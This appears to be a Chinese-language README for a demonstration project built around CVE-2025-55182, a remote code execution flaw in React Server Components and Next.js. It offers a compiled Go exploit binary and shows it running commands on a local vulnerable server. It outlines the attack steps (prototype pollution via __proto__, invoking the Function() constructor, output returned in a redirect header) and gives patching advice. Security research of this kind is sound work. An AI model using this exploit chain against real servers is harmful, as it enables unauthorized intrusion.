本项目提供了 CVE-2025-55182 (React2Shell) 的功能完整演示——这是存在于 React Server Components 和 Next.js 中的一个严重远程代码执行漏洞。
状态: ✅ 可用 —— 可在易受攻击的服务器上实现实际命令执行
CVE-2025-55182(7.8MB 编译后的可执行文件)📥 下载演示视频(5.6MB) - 点击下载并观看漏洞利用的实际效果
演示内容:
cd exploited-server
npm run dev
# Server starts on http://localhost:3001
cd /Users/subh/Desktop/code-playground/react-2-shell-demo
./CVE-2025-55182
# When prompted:
Target: localhost:3001
基本命令:
subh@rce $ whoami
subh@rce $ pwd
subh@rce $ ls -la
subh@rce $ hostname
文件操作:
subh@rce $ touch hello.txt
[+] Created: hello.txt
subh@rce $ vi hello.txt
[i] Enter new content (type 'EOF' on a line by itself to finish):
Hello World!
EOF
[+] File saved: hello.txt
subh@rce $ cat hello.txt
Hello World!
subh@rce $ echo "New content" > hello.txt
[+] File written
subh@rce $ rm hello.txt
[+] Removed: hello.txt
系统信息:
subh@rce $ cat package.json
subh@rce $ node --version
subh@rce $ npm --version
subh@rce $ ps aux
退出:
subh@rce $ exit
本项目展示了:
✅ 真实漏洞利用 —— 在易受攻击的系统上实现真正可用的 RCE
✅ 安全研究 —— 理解现代 Web 框架漏洞
✅ Go 开发 —— 编译和使用安全工具
✅ 漏洞分析 —— CVE 研究与漏洞利用技术
✅ 负责任的披露 —— 合乎道德的安全测试实践
react-2-shell-demo/
├── CVE-2025-55182 # Compiled Go exploit binary
├── main.go # Go source code
├── exploited-server/ # Vulnerable Next.js app
│ ├── app/
│ │ ├── actions.ts # Server Actions (vulnerable)
│ │ └── page.tsx # Warning UI
│ └── package.json # Next 15.0.1, React 19.0.0
└── *.md # Documentation
CVE-2025-55182 利用了 React Server Components 中的不安全反序列化漏洞:
__proto__ 进行原型污染Function() 构造函数的伪造 chunk1. Craft multipart payload with malicious chunks
2. Send to Next.js Server Actions endpoint
3. Trigger prototype pollution via __proto__:then
4. Invoke Function() constructor with command
5. Execute code and return output via redirect
6. Parse result from X-Action-Redirect header
重要提醒:
README.md - 本文件GO_EXPLOIT_USAGE.md - 详细的漏洞利用使用说明VULNERABLE_SERVER.md - 服务器搭建指南EXPLOITATION_GUIDE.md - 技术深入解析USAGE.md - 用法示例与命令npm run dev)./CVE-2025-55182)本项目成功展示了:
针对生产系统:
立即更新到已修复版本:
轮换密钥 —— 如果在 2025 年 12 月 4 日之前已暴露
监控日志中可疑的 Server Actions 活动
审计使用 Server Components 的应用程序
@subhdotsol —— 出于教育和安全研究目的
此代码仅供教育和授权安全测试使用。
请记住: 测试前务必获得适当授权。请负责任地使用!🔒